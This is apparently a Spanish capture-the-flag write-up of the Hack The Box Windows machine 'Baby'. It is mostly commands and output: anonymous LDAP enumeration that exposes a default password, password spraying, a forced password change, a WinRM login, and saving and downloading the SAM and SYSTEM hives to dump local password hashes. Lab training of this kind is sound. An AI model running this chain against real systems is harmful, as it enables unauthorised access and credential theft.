Baby

#easy #windows

https://app.hackthebox.com/machines/739

Enumeración

sudo nmap -p- -sS --open --min-rate 5000 -Pn -n -vv 10.129.148.2 -oA allPorts

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49668/tcp open  unknown          syn-ack ttl 127
63246/tcp open  unknown          syn-ack ttl 127
63247/tcp open  unknown          syn-ack ttl 127
63256/tcp open  unknown          syn-ack ttl 127

nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49664,49668,63246,63247,63256 -sCV -Pn -n -vv 10.129.148.2 -oA openPortsServiceVersions

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-19 20:50:45Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Issuer: commonName=BabyDC.baby.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-18T12:14:43
| Not valid after:  2026-02-17T12:14:43
| MD5:   0321:bf6e:5491:db70:a414:9f0b:3b10:4b00
| SHA-1: f1dd:7df6:4984:95af:6ca2:e50e:0fda:e11a:a84d:cda5
| -----BEGIN CERTIFICATE-----
| MIIC4DCCAcigAwIBAgIQcx5FdJf0qLtO4yv+5PuH2zANBgkqhkiG9w0BAQsFADAZ
| MRcwFQYDVQQDEw5CYWJ5REMuYmFieS52bDAeFw0yNTA4MTgxMjE0NDNaFw0yNjAy
| MTcxMjE0NDNaMBkxFzAVBgNVBAMTDkJhYnlEQy5iYWJ5LnZsMIIBIjANBgkqhkiG
| 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwc2kSFwv2JvtdgsXNK/Tiwh2yqNd22KrACou
| hzgqCij41ZS1gTcD+tFFFo2rgQ22rg8zBz8AhvSFIdqT19HfLe+ghXZT4/e13BTT
| ibrD814rd55wcLuoa9hxZjpU3pPN9W9SkHaF77G5a6AzB1+HjTWVtMJxClJAnpRm
| iWnPOwvhsdNJUeNl2Npx8MtftbuHNvCZ2h5Wxzcyxjw7ZeAI6ysi5sSRtEeDvcqR
| uHt3UjatHirs76lir5zlxm52aUdrhRCPD77RoGU5D1CcsCraKPEVUAvLbkio2JPT
| aaYJ8E+zI8wpgDijCuEYyt/piEIq/F9aappfnOSyhDlsgzZHfQIDAQABoyQwIjAT
| BgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQAD
| ggEBALYrswTrxcf3pCupW/vFNUgEi2Xrh6fjtFsuerzuuCb3ODmeQqj4Pg1qBoeC
| X+j3v33A4Ze0s2dbk512tBxi3+dNI/cl4EQyETMu4b7fqsYkeogKsg0luEJXSt+y
| scC0LOFJpVoFmo4CYVISqsRQlI1qVEVtup1LSoNZNwX3lEBc6HenqG+Xigz6G/Rl
| jzWfNDsvU5qzd1B3FJALwq/peYS6H7DFwMgpiBtQCdcGAwj8Po/vfSQHMwWY4cd0
| D3ayH/t6JCPt1DCusE1YjM3Hu6X7AjJiIW5QjVN83+90jV2D+jeYrUv5W8UmVM1r
| FkmiutEESB5awZaenoWT83gDZ1Q=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-09-19T20:52:16+00:00; +19s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: BABY
|   NetBIOS_Domain_Name: BABY
|   NetBIOS_Computer_Name: BABYDC
|   DNS_Domain_Name: baby.vl
|   DNS_Computer_Name: BabyDC.baby.vl
|   DNS_Tree_Name: baby.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-19T20:51:37+00:00
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
63246/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
63247/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
63256/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 51708/tcp): CLEAN (Timeout)
|   Check 2 (port 15093/tcp): CLEAN (Timeout)
|   Check 3 (port 53036/udp): CLEAN (Timeout)
|   Check 4 (port 49791/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-09-19T20:51:39
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 19s, deviation: 0s, median: 18s

nxc smb <TARGET>
SMB         10.129.148.2    445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False) (Null Auth:True)

nxc smb <TARGET> -u '' -p '' --users
SMB         10.129.148.2    445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.148.2    445    BABYDC           [+] baby.vl\:

nxc smb <TARGET> -u guest -p '' --shares
SMB         10.129.148.2    445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.148.2    445    BABYDC           [-] baby.vl\guest: STATUS_ACCOUNT_DISABLED

nxc ldap <TARGET> -u '' -p '' --query "(objectClass=*)" "" --log nxcLdapObjectClassOutput.txt

nxc ldap <TARGET> -u '' -p '' --query "(sAMAccountName=*)" "" --log nxcLdapSamAccountNameOutput.txt

cat nxcLdapObjectClassOutput.txt | grep sAMAccountName | awk '{print $NF}' | grep "\b\.\b" | sort -u > users.txt
cat nxcLdapSamAccountNameOutput.txt | grep sAMAccountName | awk '{print $NF}' | grep "\b\.\b" | tail -n +2 | sort -u | grep -v ".txt" >> users.txt
cat users.txt | sort -u | sponge users.txt
echo 'Caroline.Robinson' >> users.txt

cat nxcLdapObjectClassOutput.txt | grep description

2025-09-19 23:10:21 | ldap.py:1162 - INFO - LDAP        10.129.166.145  389    BABYDC           description          Set initial password to BabyStart123!

BabyStart123!

nxc smb <TARGET> -u users.txt -p 'BabyStart123!' --continue-on-success --log nxcPasswordSpraying.txt

SMB         10.129.166.145  445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.166.145  445    BABYDC           [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.129.166.145  445    BABYDC           [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.129.166.145  445    BABYDC           [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.129.166.145  445    BABYDC           [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.129.166.145  445    BABYDC           [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.129.166.145  445    BABYDC           [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.129.166.145  445    BABYDC           [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.129.166.145  445    BABYDC           [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.129.166.145  445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE

nxc smb <TARGET> -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=N3wp4$$w0rd

SMB         10.129.166.145  445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.166.145  445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE 
CHANGE-P... 10.129.166.145  445    BABYDC           [+] Successfully changed password for Caroline.Robinson

nxc smb <TARGET> -u Caroline.Robinson -p N3wp4$$w0rd --pass-pol

SMB         10.129.166.145  445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.166.145  445    BABYDC           [+] baby.vl\Caroline.Robinson:N3wp42397w0rd 
SMB         10.129.166.145  445    BABYDC           [+] Dumping password info for domain: BABY
SMB         10.129.166.145  445    BABYDC           Minimum password length: 7
SMB         10.129.166.145  445    BABYDC           Password history length: 24
SMB         10.129.166.145  445    BABYDC           Maximum password age: 41 days 23 hours 53 minutes 
SMB         10.129.166.145  445    BABYDC           
SMB         10.129.166.145  445    BABYDC           Password Complexity Flags: 000001
SMB         10.129.166.145  445    BABYDC               Domain Refuse Password Change: 0
SMB         10.129.166.145  445    BABYDC               Domain Password Store Cleartext: 0
SMB         10.129.166.145  445    BABYDC               Domain Password Lockout Admins: 0
SMB         10.129.166.145  445    BABYDC               Domain Password No Clear Change: 0
SMB         10.129.166.145  445    BABYDC               Domain Password No Anon Change: 0
SMB         10.129.166.145  445    BABYDC               Domain Password Complex: 1
SMB         10.129.166.145  445    BABYDC           
SMB         10.129.166.145  445    BABYDC           Minimum password age: 1 day 4 minutes 
SMB         10.129.166.145  445    BABYDC           Reset Account Lockout Counter: 30 minutes 
SMB         10.129.166.145  445    BABYDC           Locked Account Duration: 30 minutes 
SMB         10.129.166.145  445    BABYDC           Account Lockout Threshold: None
SMB         10.129.166.145  445    BABYDC           Forced Log off Time: Not Set

nxc winrm <TARGET> -u Caroline.Robinson -p 'N3wp42397w0rd'

WINRM       10.129.166.145  5985   BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) 
WINRM       10.129.166.145  5985   BABYDC           [+] baby.vl\Caroline.Robinson:N3wp42397w0rd (Pwn3d!)

evil-winrm -i <TARGET> -u Caroline.Robinson -p 'N3wp42397w0rd'

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> type C:\Users\Caroline.Robinson\Desktop\user.txt

User flag

cc7b************************e4d2

*Evil-WinRM* PS C:\Windows\Temp> reg save HKLM\SAM C:\Windows\Temp\SAM.save
The operation completed successfully.

*Evil-WinRM* PS C:\Windows\Temp> reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save
The operation completed successfully.

*Evil-WinRM* PS C:\Windows\Temp> download SAM.save SAM.save
                                        
Info: Downloading C:\Windows\Temp\SAM.save to SAM.save
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Windows\Temp> download SYSTEM.save SYSTEM.save
                                        
Info: Downloading C:\Windows\Temp\SYSTEM.save to SYSTEM.save

Info: Download successful!

secretsdump.py -sam SAM.save -system SYSTEM.save LOCAL
/home/kali/.local/share/pipx/venvs/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...

PreviousArtificial NextBrainfuck

Last updated 4 months ago

hashtagEnumeración

hashtagUser flag

Enumeración

User flag